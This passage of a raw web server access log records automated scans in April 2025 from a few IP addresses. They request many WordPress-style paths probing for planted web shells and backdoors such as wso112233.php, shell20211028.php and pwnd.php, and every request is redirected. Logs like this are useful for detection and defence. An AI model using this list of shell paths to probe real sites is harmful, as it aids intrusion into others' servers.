AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:20:02 -0400] "GET /rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-admin/js/widgets/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:02 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:20:03 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:03 -0400] "GET /wp-admin/images/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:20:03 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:03 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:03 -0400] "GET /wp-content/plugins/rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:03 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:03 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:04 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:20:04 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:04 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:20:04 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:04 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:20:04 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:20:04 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:20:04 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:20:04 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:04 -0400] "GET /.well-known/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:04 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:04 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:20:04 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:04 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:04 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:04 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /chosen.phppload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:20:05 -0400] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /wp-admin/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:05 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:20:05 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:05 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:06 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /insert_activity_db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:20:06 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /kl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:06 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:06 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:06 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:07 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /wsoyanzfv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:07 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /wp-admin/Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /index/gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:07 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /user/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /lk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:07 -0400] "GET /rt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:07 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:08 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:20:08 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:08 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:08 -0400] "GET /wp-content/plugins/fix/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:08 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:08 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:08 -0400] "GET /plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:08 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:08 -0400] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:08 -0400] "GET /wp-includes/customize/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:08 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:08 -0400] "GET /themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:08 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:09 -0400] "GET 